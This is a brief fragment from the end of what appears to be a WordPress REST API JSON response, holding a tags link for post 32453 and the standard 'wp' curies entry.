2Ftags&post=32453"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}